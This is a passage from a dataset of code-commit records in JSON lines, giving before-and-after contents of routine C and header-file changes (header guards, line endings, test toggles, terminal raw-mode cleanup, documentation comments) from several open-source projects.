ITK,itkvideo\/ITK,PlutoniumHeart\/ITK,BRAINSia\/ITK,thewtex\/ITK,LucHermitte\/ITK,LucHermitte\/ITK,hinerm\/ITK,GEHC-Surgery\/ITK,atsnyder\/ITK,fuentesdt\/InsightToolkit-dev,heimdali\/ITK,biotrump\/ITK,CapeDrew\/DCMTK-ITK,richardbeare\/ITK,cpatrick\/ITK-RemoteIO,biotrump\/ITK,paulnovo\/ITK,GEHC-Surgery\/ITK,fuentesdt\/InsightToolkit-dev,CapeDrew\/DITK,rhgong\/itk-with-dom,atsnyder\/ITK,vfonov\/ITK,thewtex\/ITK,daviddoria\/itkHoughTransform,itkvideo\/ITK,jcfr\/ITK,wkjeong\/ITK,PlutoniumHeart\/ITK,fedral\/ITK,fedral\/ITK,wkjeong\/ITK,GEHC-Surgery\/ITK,ajjl\/ITK,BRAINSia\/ITK,LucHermitte\/ITK,BlueBrain\/ITK,hendradarwin\/ITK,BRAINSia\/ITK,LucHermitte\/ITK,CapeDrew\/DCMTK-ITK,GEHC-Surgery\/ITK,msmolens\/ITK,CapeDrew\/DITK,zachary-williamson\/ITK,eile\/ITK,PlutoniumHeart\/ITK,hinerm\/ITK,biotrump\/ITK,CapeDrew\/DCMTK-ITK,msmolens\/ITK,ajjl\/ITK,LucHermitte\/ITK,thewtex\/ITK,blowekamp\/ITK,spinicist\/ITK,jmerkow\/ITK,PlutoniumHeart\/ITK,hinerm\/ITK,fbudin69500\/ITK,paulnovo\/ITK,ajjl\/ITK,fedral\/ITK,CapeDrew\/DITK,eile\/ITK,msmolens\/ITK,hinerm\/ITK,msmolens\/ITK,hjmjohnson\/ITK,jcfr\/ITK,blowekamp\/ITK,ajjl\/ITK,hjmjohnson\/ITK,rhgong\/itk-with-dom,cpatrick\/ITK-RemoteIO,cpatrick\/ITK-RemoteIO,thewtex\/ITK"}
{"commit":"5c4201a37985579b45debc1b9ab51ecf4870c140","old_file":"sys\/powerpc\/include\/floatingpoint.h","new_file":"sys\/powerpc\/include\/floatingpoint.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2004 Suleiman Souhlal <refugee@segfaulted.com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the author nor the names of any co-contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY DAVID O'BRIEN AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _FLOATINGPOINT_H_\n#define _FLOATINGPOINT_H_\n\n#include <machine\/ieeefp.h>\n\n#endif \/* !_FLOATINGPOINT_H_ *\/\n","subject":"Add sys file required for IEEE fp functions.","message":"Add sys file required for IEEE fp functions.\n\nSubmitted by:  Suleiman Souhlal <refugee@segfaulted.com>\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"614c7ace15046fd016ddcb28f61cb6cf6b30cc05","old_file":"test\/Preprocessor\/has_c_attribute.c","new_file":"test\/Preprocessor\/has_c_attribute.c","old_contents":"\/\/ RUN: %clang_cc1 -fdouble-square-bracket-attributes -std=c11 -E %s -o - | FileCheck %s\r\n\r\n\/\/ CHECK: has_fallthrough\r\n#if __has_c_attribute(fallthrough)\r\n  int has_fallthrough();\r\n#endif\r\n\r\n\/\/ CHECK: does_not_have_selectany\r\n#if !__has_c_attribute(selectany)\r\n  int does_not_have_selectany();\r\n#endif\r\n\r\n","new_contents":"\/\/ RUN: %clang_cc1 -fdouble-square-bracket-attributes -std=c11 -E %s -o - | FileCheck %s\n\n\/\/ CHECK: has_fallthrough\n#if __has_c_attribute(fallthrough)\n  int has_fallthrough();\n#endif\n\n\/\/ CHECK: does_not_have_selectany\n#if !__has_c_attribute(selectany)\n  int does_not_have_selectany();\n#endif\n\n","subject":"Correct line endings that got mixed up in r320088; NFC.","message":"Correct line endings that got mixed up in r320088; NFC.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@320115 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"9b3814de8a8cbe6fda99174955f7878a5e6189bf","old_file":"tests\/src\/test_run.c","new_file":"tests\/src\/test_run.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"rxvm.h\"\n#include \"test_common.h\"\n#include \"test_modules.h\"\n\n#define NUM_MODS          7\n\nconst testmod_t mods[NUM_MODS] = {\n    test_rxvm_err, test_rxvm_match, test_rxvm_search,\n    test_rxvm_search_nomatch, test_rxvm_compile, test_fuzz_rxvm_match,\n    test_fuzz_full_rxvm_match\n};\n\nint main (void)\n{\n    testmod_t module;\n    int i;\n    int ret;\n    int count;\n\n    count = 1;\n    ret = 0;\n\n    printf(\"1..%d\\n\", NUM_TESTS);\n    \/* Run all test modules *\/\n    for (i = 0; i < NUM_MODS; ++i) {\n        module = mods[i];\n        ret += (*module)(&count);\n    }\n\n\treturn ret;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"rxvm.h\"\n#include \"test_common.h\"\n#include \"test_modules.h\"\n\n\/\/#define NUM_MODS          7\n#define NUM_MODS          6\n\nconst testmod_t mods[NUM_MODS] = {\n    test_rxvm_err, test_rxvm_match, test_rxvm_search,\n    test_rxvm_search_nomatch, test_rxvm_compile, test_fuzz_rxvm_match,\n    \/\/test_fuzz_full_rxvm_match\n};\n\nint main (void)\n{\n    testmod_t module;\n    int i;\n    int ret;\n    int count;\n\n    count = 1;\n    ret = 0;\n\n    printf(\"1..%d\\n\", NUM_TESTS);\n    \/* Run all test modules *\/\n    for (i = 0; i < NUM_MODS; ++i) {\n        module = mods[i];\n        ret += (*module)(&count);\n    }\n\n\treturn ret;\n}\n","subject":"Disable fuzz_full test until fixed","message":"Disable fuzz_full test until fixed\n","lang":"C","license":"apache-2.0","repos":"eriknyquist\/librxvm,eriknyquist\/librxvm,eriknyquist\/librxvm"}
{"commit":"3b6f6fefaa1f13cde4d9530a51e655059f5b15ab","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <termios.h>\n#include <unistd.h>\n\nvoid enableRawMode() {\n  struct termios raw;\n\n  tcgetattr(STDIN_FILENO, &raw);\n\n  raw.c_lflag &= ~(ECHO);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_lflag &= ~(ECHO);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","subject":"Disable raw mode when exiting","message":"Disable raw mode when exiting\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"15eb88a039cda665d151f6daa280c2ad439c2c84","old_file":"BBlock.h","new_file":"BBlock.h","old_contents":"\/\/\n\/\/  BBlock.h\n\/\/  BBlock\n\/\/\n\/\/  Created by David Keegan on 4\/10\/12.\n\/\/  Copyright (c) 2012 David Keegan. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/\/ For when you need a weak reference of an object, example: `BBlockWeakObject(obj) wobj = obj;`\n#define BBlockWeakObject(o) __weak typeof(o)\n\n\/\/\/ For when you need a weak reference to self, example: `BBlockWeakSelf wself = self;`\n#define BBlockWeakSelf BBlockWeakObject(self)\n\n\n@interface BBlock : NSObject\n\n\/\/\/ Execute the block on the main thread\n+ (void)dispatchOnMainThread:(void (^)())block;\n\n\/\/\/ Exectute the block on a background thread but in a synchronous queue\n+ (void)dispatchOnSynchronousQueue:(void (^)())block;\n\n\/\/\/ Exectute the block on a background thread but in a synchronous queue,\n\/\/\/ This queue should only be used for writing files to disk.\n+ (void)dispatchOnSynchronousFileQueue:(void (^)())block;\n\n+ (void)dispatchOnDefaultPriorityConcurrentQueue:(void (^)())block;\n+ (void)dispatchOnLowPriorityConcurrentQueue:(void (^)())block;\n+ (void)dispatchOnHighPriorityConcurrentQueue:(void (^)())block;\n\n@end\n","new_contents":"\/\/\n\/\/  BBlock.h\n\/\/  BBlock\n\/\/\n\/\/  Created by David Keegan on 4\/10\/12.\n\/\/  Copyright (c) 2012 David Keegan. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/\/ For when you need a weak reference of an object, example: `BBlockWeakObject(obj) wobj = obj;`\n#define BBlockWeakObject(o) __weak __typeof__((__typeof__(o))o)\n\n\/\/\/ For when you need a weak reference to self, example: `BBlockWeakSelf wself = self;`\n#define BBlockWeakSelf BBlockWeakObject(self)\n\n\n@interface BBlock : NSObject\n\n\/\/\/ Execute the block on the main thread\n+ (void)dispatchOnMainThread:(void (^)())block;\n\n\/\/\/ Exectute the block on a background thread but in a synchronous queue\n+ (void)dispatchOnSynchronousQueue:(void (^)())block;\n\n\/\/\/ Exectute the block on a background thread but in a synchronous queue,\n\/\/\/ This queue should only be used for writing files to disk.\n+ (void)dispatchOnSynchronousFileQueue:(void (^)())block;\n\n+ (void)dispatchOnDefaultPriorityConcurrentQueue:(void (^)())block;\n+ (void)dispatchOnLowPriorityConcurrentQueue:(void (^)())block;\n+ (void)dispatchOnHighPriorityConcurrentQueue:(void (^)())block;\n\n@end\n","subject":"Revert \"with Xcode4.4 __weak typeof(o) is all that's needed for weak references\"","message":"Revert \"with Xcode4.4 __weak typeof(o) is all that's needed for weak references\"\n\nThis reverts commit 7689903fd592848310bf12743dcec7805cd37098.\n","lang":"C","license":"mit","repos":"kgn\/BBlock,cnbin\/BBlock,azplanlos\/BBlock"}
{"commit":"2c454a161bc6f8cbe364c5dc040cf140299b4087","old_file":"src\/crt\/crt1.c","new_file":"src\/crt\/crt1.c","old_contents":"#include <stdint.h>\n\nvoid __wasm_call_ctors(void);\n\nint __argc(void);\nvoid __argv(uintptr_t[static 1]);\nvoid __args(char[static 1]);\n\nint main(int, char**);\n\nvoid _start(void)\n{\n    int argc = __argc();\n    char* argv[argc + 1];\n    __argv((uintptr_t*)argv);\n\n    char args[(uintptr_t)argv[argc]];\n    __args(args);\n\n    for (int i = 0; i < argc; ++i)\n        argv[i] = args + (uintptr_t)argv[i];\n\n    argv[argc] = (void*)0;\n\n    __wasm_call_ctors();\n    main(argc, argv);\n}\n","new_contents":"#include <stdint.h>\n\nvoid __wasm_call_ctors(void);\n\n\/*!\n * `argc` getter\n *\n * This function returns 0 if passing arguments to main() is unsupported.\n *\/\nint __argc(void);\n\n\/*!\n * `argv` builder\n *\n * This function stores `argv` as offset from `argv[0]`,\n * and appends `sizeof(args)`.\n *\n * For example, if the command line is `foo -c alfa`,\n * { 0, 4, 7, 12 } will be written because\n *\n *     argv[0] = args + 0\n *     argv[1] = args + 4\n *     argv[2] = args + 7\n *     sizeof(args) = 12\n *\n * See __args() for format of `args`.\n *\/\nvoid __argv(uintptr_t* argv);\n\n\/*!\n * This function stores null-separated command line.\n *\n * For example, if the command line is `foo -c alfa`,\n * it is stored as `\"foo\\0-c\\0alfa\"`.\n * Note that there is an implied '\\0' at the end of a string.\n *\/\nvoid __args(char* args);\n\nint main(int argc, char** argv);\n\nvoid _start(void)\n{\n    int argc = __argc();\n    char* argv[argc + 1];\n    __argv((uintptr_t*)argv);\n\n    char args[argc ? (uintptr_t)argv[argc] : 0];\n    __args(args);\n\n    for (int i = 0; i < argc; ++i)\n        argv[i] = args + (uintptr_t)argv[i];\n\n    argv[argc] = (void*)0;\n\n    __wasm_call_ctors();\n    main(argc, argv);\n}\n","subject":"Document on getters of argc and argv","message":"Document on getters of argc and argv\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"af6936815f344cab1cd0549172582dfa40dcd46e","old_file":"infiniteloop_cmd.c","new_file":"infiniteloop_cmd.c","old_contents":"\/\/ Copyright (c) 2016 Ed Schouten <ed@nuxi.nl>\n\/\/\n\/\/ This file is distributed under a 2-clause BSD license.\n\/\/ See the LICENSE file for details.\n\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"infiniteloop.h\"\n\nstatic bool print_solution(const struct il_solution *s, void *thunk) {\n  char buf[1024];\n  if (!il_solution_print(s, buf, sizeof(buf))) {\n    fprintf(stderr, \"Failed to print solution\\n\");\n    exit(1);\n  }\n  printf(\"-- SOLUTION --\\n%s\\n\", buf);\n  return true;\n}\n\nint main(void) {\n  char buf[1024];\n  size_t len = fread(buf, 1, sizeof(buf) - 1, stdin);\n  buf[len] = '\\0';\n\n  struct il_problem p;\n  if (!il_problem_parse(buf, &p)) {\n    fprintf(stderr, \"Failed to parse input\\n\");\n    return 1;\n  }\n\n  il_solve(&p, print_solution, NULL);\n  return 0;\n}\n","new_contents":"\/\/ Copyright (c) 2016 Ed Schouten <ed@nuxi.nl>\n\/\/\n\/\/ This file is distributed under a 2-clause BSD license.\n\/\/ See the LICENSE file for details.\n\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"infiniteloop.h\"\n\nstatic unsigned int solutions_found = 0;\n\nstatic bool print_solution(const struct il_solution *s, void *thunk) {\n  char buf[1024];\n  if (!il_solution_print(s, buf, sizeof(buf))) {\n    fprintf(stderr, \"Failed to print solution\\n\");\n    exit(1);\n  }\n  printf(\"-- SOLUTION --\\n%s\\n\", buf);\n  ++solutions_found;\n  return true;\n}\n\nint main(void) {\n  char buf[1024];\n  size_t len = fread(buf, 1, sizeof(buf) - 1, stdin);\n  buf[len] = '\\0';\n\n  struct il_problem p;\n  if (!il_problem_parse(buf, &p)) {\n    fprintf(stderr, \"Failed to parse input\\n\");\n    return 1;\n  }\n\n  il_solve(&p, print_solution, NULL);\n\n  printf(\"-- FOUND %u SOLUTIONS --\\n\", solutions_found);\n  return 0;\n}\n","subject":"Print the number of solutions.","message":"Print the number of solutions.\n","lang":"C","license":"bsd-2-clause","repos":"EdSchouten\/infiniteloop,EdSchouten\/infiniteloop"}
{"commit":"c7b9219474aaa208b8063241d18d9d6cb3e1ad2e","old_file":"include\/MHClientSecret.h","new_file":"include\/MHClientSecret.h","old_contents":"","new_contents":"\/\/\n\/\/  MHClientSecret.h\n\/\/  MyHub\n\/\/\n\/\/  Created by Arcterus on 1\/14\/14.\n\/\/  Copyright (c) 2014 kRaken Research. All rights reserved.\n\/\/\n\n#ifndef MyHub_MHClientSecret_h\n#define MyHub_MHClientSecret_h\n\n#define CLIENT_ID     \"1234567890\"\n#define CLIENT_SECRET \"1234567890abcdef\"\n\n#endif\n","subject":"Add file with dummy client info","message":"Add file with dummy client info\n","lang":"C","license":"mpl-2.0","repos":"Arcterus\/MyHub"}
{"commit":"e8b78e79fe13f170083ba89b48b1c18bd3c93543","old_file":"Mac\/Python\/macguesstabsize.c","new_file":"Mac\/Python\/macguesstabsize.c","old_contents":"#include <MacHeaders>\n#include <string.h>\n\n\/* Interface used by tokenizer.c *\/\n\nguesstabsize(path)\n\tchar *path;\n{\n\tchar s[256];\n\tint refnum;\n\tHandle h;\n\tint tabsize = 0;\n\ts[0] = strlen(path);\n\tstrncpy(s+1, path, s[0]);\n\trefnum = OpenResFile(s);\n\/* printf(\"%s --> refnum=%d\\n\", path, refnum); *\/\n\tif (refnum == -1)\n\t\treturn 0;\n\tUseResFile(refnum);\n\th = GetIndResource('ETAB', 1);\n\tif (h != 0) {\n\t\ttabsize = (*(short**)h)[1];\n\/* printf(\"tabsize=%d\\n\", tabsize); *\/\n\t}\n\tCloseResFile(refnum);\n\treturn tabsize;\n}\n","new_contents":"#include <Types.h>\n#include <Files.h>\n#include <OSUtils.h>\n#include <Resources.h>\n\n#include <string.h>\n\n\/* Interface used by tokenizer.c *\/\n\nguesstabsize(path)\n\tchar *path;\n{\n\tchar s[256];\n\tint refnum;\n\tHandle h;\n\tint tabsize = 0;\n\ts[0] = strlen(path);\n\tstrncpy(s+1, path, s[0]);\n\trefnum = OpenResFile(s);\n\/* printf(\"%s --> refnum=%d\\n\", path, refnum); *\/\n\tif (refnum == -1)\n\t\treturn 0;\n\tUseResFile(refnum);\n\th = GetIndResource('ETAB', 1);\n\tif (h != 0) {\n\t\ttabsize = (*(short**)h)[1];\n\/* printf(\"tabsize=%d\\n\", tabsize); *\/\n\t}\n\tCloseResFile(refnum);\n\treturn tabsize;\n}\n","subject":"Replace <MacHeaders> by specific required header files","message":"Replace <MacHeaders> by specific required header files\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"16a70daa90a743729ece6bb7ecd971a55ebe4731","old_file":"link-grammar\/lg_assert.h","new_file":"link-grammar\/lg_assert.h","old_contents":"\/* There is no include guard here - by purpose. This file can be included\n * after system includes that redefine the assert() macro.\n * The actual problem for which this file got separated from utilities.h\n * happens in the sat-solver code, when local include files include\n * Solver.h which in turn includes the system's assert.h. *\/\n\n#include \"error.h\" \/* for prt_error() *\/\n\n#ifndef STRINGIFY\n#define STR(x) #x\n#define STRINGIFY(x) STR(x)\n#endif \/* STRINGIFY *\/\n\n#define FILELINE __FILE__ \":\" STRINGIFY(__LINE__)\n\n#ifdef _WIN32\n#define DEBUG_TRAP (*((volatile int*) 0x0) = 42)\n#else\n#define DEBUG_TRAP __builtin_trap()\n#endif\n\n#define assert(ex, ...) {                                                   \\\n\tif (!(ex)) {                                                             \\\n\t\tprt_error(\"Fatal error: \\nAssertion (\" #ex \") failed at \" FILELINE \": \" __VA_ARGS__);  \\\n\t\tprt_error(\"\\n\");                                                \\\n\t\tDEBUG_TRAP;  \/* leave stack trace in debugger *\/                      \\\n\t}                                                                        \\\n}\n","new_contents":"\/* There is no include guard here - by purpose. This file can be included\n * after system includes that redefine the assert() macro.\n * The actual problem for which this file got separated from utilities.h\n * happens in the sat-solver code, when local include files include\n * Solver.h which in turn includes the system's assert.h. *\/\n\n#include \"error.h\" \/* for prt_error() *\/\n\n#ifndef STRINGIFY\n#define STR(x) #x\n#define STRINGIFY(x) STR(x)\n#endif \/* STRINGIFY *\/\n\n#define FILELINE __FILE__ \":\" STRINGIFY(__LINE__)\n\n#ifdef _WIN32\n#define DEBUG_TRAP (*((volatile int*) 0x0) = 42)\n#else\n#define DEBUG_TRAP __builtin_trap()\n#endif\n\n#define assert(ex, ...) {                                                   \\\n\tif (!(ex)) {                                                             \\\n\t\tfprintf(stderr, \"Fatal error: \\nAssertion (\" #ex \") failed at \" FILELINE \": \" __VA_ARGS__);  \\\n\t\tfprintf(stderr, \"\\n\");                                                \\\n\t\tDEBUG_TRAP;  \/* leave stack trace in debugger *\/                      \\\n\t}                                                                        \\\n}\n","subject":"Use fprintf() to ensure message printing","message":"assert(): Use fprintf() to ensure message printing\n\nIf prt_error() is used and the error facility uses a non-default error\nhandler, the message will get lost.\n","lang":"C","license":"lgpl-2.1","repos":"ampli\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,linas\/link-grammar"}
{"commit":"d58d382cd1d01bc048c8bb74b184d182b36a5cfb","old_file":"Application\/voRemoteAnalysisConnectionDialog.h","new_file":"Application\/voRemoteAnalysisConnectionDialog.h","old_contents":"\/*=========================================================================\n\n  Program: Visomics\n\n  Copyright (c) Kitware, Inc.\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n=========================================================================*\/\n#ifndef __voMongoSaveDialog_h\n#define __voMongoSaveDialog_h\n\n\/\/ Qt includes\n#include <QDialog>\n\nclass voRemoteAnalysisConnectionDialogPrivate;\n\nclass voRemoteAnalysisConnectionDialog : public QDialog\n{\n  Q_OBJECT\npublic:\n  typedef QDialog Superclass;\n\n  voRemoteAnalysisConnectionDialog(QWidget* newParent = 0);\n  virtual ~voRemoteAnalysisConnectionDialog();\n\n  QString Url();\n  QString User();\n  QString Password();\n\n\nprivate:\n  QScopedPointer<voRemoteAnalysisConnectionDialogPrivate> d_ptr;\n  Q_DECLARE_PRIVATE(voRemoteAnalysisConnectionDialog);\n  Q_DISABLE_COPY(voRemoteAnalysisConnectionDialog);\n\n  void loadSettings();\n\nprivate slots:\n  void saveSettings();\n};\n\n#endif\n","new_contents":"\/*=========================================================================\n\n  Program: Visomics\n\n  Copyright (c) Kitware, Inc.\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n=========================================================================*\/\n#ifndef __voRemoteAnalysisConnectionDialog_h\n#define __voRemoteAnalysisConnectionDialog_h\n\n\/\/ Qt includes\n#include <QDialog>\n\nclass voRemoteAnalysisConnectionDialogPrivate;\n\nclass voRemoteAnalysisConnectionDialog : public QDialog\n{\n  Q_OBJECT\npublic:\n  typedef QDialog Superclass;\n\n  voRemoteAnalysisConnectionDialog(QWidget* newParent = 0);\n  virtual ~voRemoteAnalysisConnectionDialog();\n\n  QString Url();\n  QString User();\n  QString Password();\n\n\nprivate:\n  QScopedPointer<voRemoteAnalysisConnectionDialogPrivate> d_ptr;\n  Q_DECLARE_PRIVATE(voRemoteAnalysisConnectionDialog);\n  Q_DISABLE_COPY(voRemoteAnalysisConnectionDialog);\n\n  void loadSettings();\n\nprivate slots:\n  void saveSettings();\n};\n\n#endif\n","subject":"Fix copy\/paste error in header guard","message":"Fix copy\/paste error in header guard\n","lang":"C","license":"apache-2.0","repos":"Visomics\/Visomics,arborworkflows\/Visomics,Visomics\/Visomics,Visomics\/Visomics,arborworkflows\/Visomics,Visomics\/Visomics,Visomics\/Visomics,arborworkflows\/Visomics,Visomics\/Visomics,arborworkflows\/Visomics,arborworkflows\/Visomics,arborworkflows\/Visomics"}
{"commit":"947470b6ae897dd4a340944206c80e39c5e20cc9","old_file":"browser\/atom_browser_main_parts.h","new_file":"browser\/atom_browser_main_parts.h","old_contents":"\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_BROWSER_ATOM_BROWSER_MAIN_PARTS_\n#define ATOM_BROWSER_ATOM_BROWSER_MAIN_PARTS_\n\n#include \"brightray\/browser\/browser_main_parts.h\"\n\nnamespace atom {\n\nclass AtomBrowserBindings;\nclass Browser;\nclass NodeBindings;\n\nclass AtomBrowserMainParts : public brightray::BrowserMainParts {\n public:\n  AtomBrowserMainParts();\n  virtual ~AtomBrowserMainParts();\n\n  static AtomBrowserMainParts* Get();\n\n  AtomBrowserBindings* atom_bindings() { return atom_bindings_.get(); }\n  Browser* browser() { return browser_.get(); }\n\n protected:\n  \/\/ Implementations of brightray::BrowserMainParts.\n  virtual brightray::BrowserContext* CreateBrowserContext() OVERRIDE;\n\n  \/\/ Implementations of content::BrowserMainParts.\n  virtual void PostEarlyInitialization() OVERRIDE;\n  virtual void PreMainMessageLoopStart() OVERRIDE;\n  virtual void PreMainMessageLoopRun() OVERRIDE;\n  virtual void PostDestroyThreads() OVERRIDE;\n\n private:\n  scoped_ptr<AtomBrowserBindings> atom_bindings_;\n  scoped_ptr<Browser> browser_;\n  scoped_ptr<NodeBindings> node_bindings_;\n\n  static AtomBrowserMainParts* self_;\n\n  DISALLOW_COPY_AND_ASSIGN(AtomBrowserMainParts);\n};\n\n}  \/\/ namespace atom\n\n#endif  \/\/ ATOM_BROWSER_ATOM_BROWSER_MAIN_PARTS_\n","new_contents":"\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_BROWSER_ATOM_BROWSER_MAIN_PARTS_\n#define ATOM_BROWSER_ATOM_BROWSER_MAIN_PARTS_\n\n#include \"brightray\/browser\/browser_main_parts.h\"\n\nnamespace atom {\n\nclass AtomBrowserBindings;\nclass Browser;\nclass NodeBindings;\n\nclass AtomBrowserMainParts : public brightray::BrowserMainParts {\n public:\n  AtomBrowserMainParts();\n  virtual ~AtomBrowserMainParts();\n\n  static AtomBrowserMainParts* Get();\n\n  AtomBrowserBindings* atom_bindings() { return atom_bindings_.get(); }\n  Browser* browser() { return browser_.get(); }\n\n protected:\n  \/\/ Implementations of brightray::BrowserMainParts.\n  virtual brightray::BrowserContext* CreateBrowserContext() OVERRIDE;\n\n  \/\/ Implementations of content::BrowserMainParts.\n  virtual void PostEarlyInitialization() OVERRIDE;\n  virtual void PreMainMessageLoopRun() OVERRIDE;\n#if defined(OS_MACOSX)\n  virtual void PreMainMessageLoopStart() OVERRIDE;\n  virtual void PostDestroyThreads() OVERRIDE;\n#endif\n\n private:\n  scoped_ptr<AtomBrowserBindings> atom_bindings_;\n  scoped_ptr<Browser> browser_;\n  scoped_ptr<NodeBindings> node_bindings_;\n\n  static AtomBrowserMainParts* self_;\n\n  DISALLOW_COPY_AND_ASSIGN(AtomBrowserMainParts);\n};\n\n}  \/\/ namespace atom\n\n#endif  \/\/ ATOM_BROWSER_ATOM_BROWSER_MAIN_PARTS_\n","subject":"Mark OS X only implementations in BrowserMainParts.","message":"Mark OS X only implementations in BrowserMainParts.\n","lang":"C","license":"mit","repos":"Jacobichou\/electron,michaelchiche\/electron,fritx\/electron,chrisswk\/electron,twolfson\/electron,eriser\/electron,Jacobichou\/electron,John-Lin\/electron,gabriel\/electron,simonfork\/electron,d-salas\/electron,aliib\/electron,GoooIce\/electron,adamjgray\/electron,JesselJohn\/electron,Faiz7412\/electron,ervinb\/electron,Floato\/electron,Zagorakiss\/electron,faizalpribadi\/electron,sircharleswatson\/electron,sky7sea\/electron,nicobot\/electron,mirrh\/electron,minggo\/electron,miniak\/electron,joneit\/electron,icattlecoder\/electron,jlord\/electron,bpasero\/electron,micalan\/electron,ianscrivener\/electron,shockone\/electron,gerhardberger\/electron,xiruibing\/electron,mjaniszew\/electron,mhkeller\/electron,rreimann\/electron,DivyaKMenon\/electron,biblerule\/UMCTelnetHub,neutrous\/electron,LadyNaggaga\/electron,sky7sea\/electron,LadyNaggaga\/electron,baiwyc119\/electron,LadyNaggaga\/electron,wan-qy\/electron,setzer777\/electron,jjz\/electron,seanchas116\/electron,yalexx\/electron,cos2004\/electron,sircharleswatson\/